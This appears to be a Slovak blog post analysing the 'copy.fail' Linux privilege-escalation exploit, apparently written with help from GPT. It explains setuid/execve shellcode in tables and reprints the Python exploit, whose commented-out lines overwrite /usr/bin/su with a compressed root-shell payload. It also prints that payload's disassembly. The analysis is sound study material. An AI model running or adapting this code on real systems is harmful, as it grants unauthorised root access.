Príbeh: Dnes malá analýza https://copy.fail/ Utekajme, veď on má doma zakázaný Mythos LLM :) Nie, kecám s kamošom GPT ;)

Krok Pseudokód Syscall (číslo) Registre (hlavné) Čo sa deje
1 setuid(0); 105 (0x69) rax=105, rdi=0 Pokus nastaviť UID na root (0)
2 execve("/bin/sh", NULL, NULL); 59 (0x3b) rax=59, rdi=ptr, rsi=0, rdx=0 Spustí shell /bin/sh
3 exit(0); 60 (0x3c) rax=60, rdi=0 Ukončí proces (len ak exec zlyhá)
Dôvod Vysvetlenie
Jednoduchosť Dáta sú priamo v binárke (žiadne externé odkazy)
Krátkosť Menej inštrukcií → menší shellcode
Presnosť RIP-relative addressing vie presne ukázať na string
Prax Bežný vzor v shellcode (kód + dáta spolu)
Sekcia Obsah
Kód setuid + execve + exit
Dáta "/bin/sh\0"

🔁 Zhrnutie 3 krokov (ľudsky)

Krok Jednoducho povedané
1 Skús získať root práva
2 Spusť shell (/bin/sh)
3 Ak to zlyhá, ukonči program

⭐ Prečo je /bin/sh kľúčový

Dôvod Vysvetlenie
Kontrola Shell dáva plný prístup k systému
Štandard /bin/sh je takmer vždy dostupný
Jednoduchosť Stačí jeden syscall (execve)
Exploit cieľ Po získaní prístupu je shell najpraktickejší výsledok

Prečo je shell code kratší v paylode a stále to funguje:

Vlastnosť Bez posunu (ideálne) S posunom (tvoj prípad)
LEA inštrukcia lea rdi, [rip+0xe] lea rdi, [rip+0xf]
RIP po inštrukcii 0x400088 0x400088
Offset 0x0e 0x0f
Vypočítaná adresa 0x400096 0x400097
Skutočný začiatok stringu 0x400096 0x400096
Na čo ukazuje rdi "/bin/sh" "bin/sh"
Chýbajúci znak nič "/" (je o 1 bajt skôr)
Funkčnosť ✔ presná ✔ funguje
Dôvod použitia presnosť kratší / jednoduchší shellcode

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
#f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
#while i<len(e):c(f,i,e[i:i+4]);i+=4
#g.system("su")
data = b'x\xda\xabw\xf5qcbdd\x80\x01&\x06;\x06\x10\xaf\x82\xc1\x01\xccw`\xc0\x04\x0e\x0c\x16\x0c0\x1d \x9a\x15M\x16\x99\x9e\x07\xe5\xc1h\x06\x01\x08ex\xc0\xf0\xff\x86L~V\x8f^[~\x10\xf7[\x96u\xc4L~V\xc3\xffY6\x11\xfc\xac\xfaI\x99y\xfa\xc5\x19\x0c\x0c\x0c\x002\xc3\x10\xd3'

raw = zlib.decompress(data)
print(raw)
print(raw.decode('latin1'))
# alebo
print(raw.decode('cp1250'))
# alebo
print(raw.decode('utf-8', errors='ignore'))
with open("output.bin", "wb") as f:
    f.write(raw)

Takto to robí ESET:


output.bin: file format elf64-x86-64 Disassembly of section PT_LOAD#0: 0000000000400000 <PT_LOAD#0>: 400000: 7f 45 jg 0x400047 <PT_LOAD#0+0x47> 400002: 4c 46 02 01 addb (%rcx), %r8b 400006: 01 00 addl %eax, (%rax) ... 400010: 02 00 addb (%rax), %al 400012: 3e 00 01 addb %al, %ds:(%rcx) 400015: 00 00 addb %al, (%rax) 400017: 00 78 00 addb %bh, (%rax) 40001a: 40 00 00 addb %al, (%rax) 40001d: 00 00 addb %al, (%rax) 40001f: 00 40 00 addb %al, (%rax) ... 400032: 00 00 addb %al, (%rax) 400034: 40 00 38 addb %dil, (%rax) 400037: 00 01 addb %al, (%rcx) 400039: 00 00 addb %al, (%rax) 40003b: 00 00 addb %al, (%rax) 40003d: 00 00 addb %al, (%rax) 40003f: 00 01 addb %al, (%rcx) 400041: 00 00 addb %al, (%rax) 400043: 00 05 00 00 00 00 addb %al, (%rip) # 0x400049 <PT_LOAD#0+0x49> ... 400051: 00 40 00 addb %al, (%rax) 400054: 00 00 addb %al, (%rax) 400056: 00 00 addb %al, (%rax) 400058: 00 00 addb %al, (%rax) 40005a: 40 00 00 addb %al, (%rax) 40005d: 00 00 addb %al, (%rax) 40005f: 00 9e 00 00 00 00 addb %bl, (%rsi) 400065: 00 00 addb %al, (%rax) 400067: 00 9e 00 00 00 00 addb %bl, (%rsi) 40006d: 00 00 addb %al, (%rax) 40006f: 00 00 addb %al, (%rax) 400071: 10 00 adcb %al, (%rax) 400073: 00 00 addb %al, (%rax) 400075: 00 00 addb %al, (%rax) 400077: 00 31 addb %dh, (%rcx) 400079: c0 31 <unknown> 40007b: ff b0 69 0f 05 48 pushq 0x48050f69(%rax) 400081: 8d 3d 0f 00 00 00 leal 0xf(%rip), %edi # 0x400096 <PT_LOAD#0+0x96> 400087: 31 f6 xorl %esi, %esi 400089: 6a 3b pushq $0x3b 40008b: 58 popq %rax 40008c: 99 cltd 40008d: 0f 05 syscall 40008f: 31 ff xorl %edi, %edi 400091: 6a 3c pushq $0x3c 400093: 58 popq %rax 400094: 0f 05 syscall 400096: 2f <unknown> 400097: 62 69 6e 2f 73 <unknown> 40009c: 68 <unknown> 40009d: 00 <unknown>

Author: AarNoma

The first Slovak cyborg 1 system

Comments “Príbeh: Dnes malá analýza https://copy.fail/ Utekajme, veď on má doma zakázaný Mythos LLM :) Nie, kecám s kamošom GPT ;)”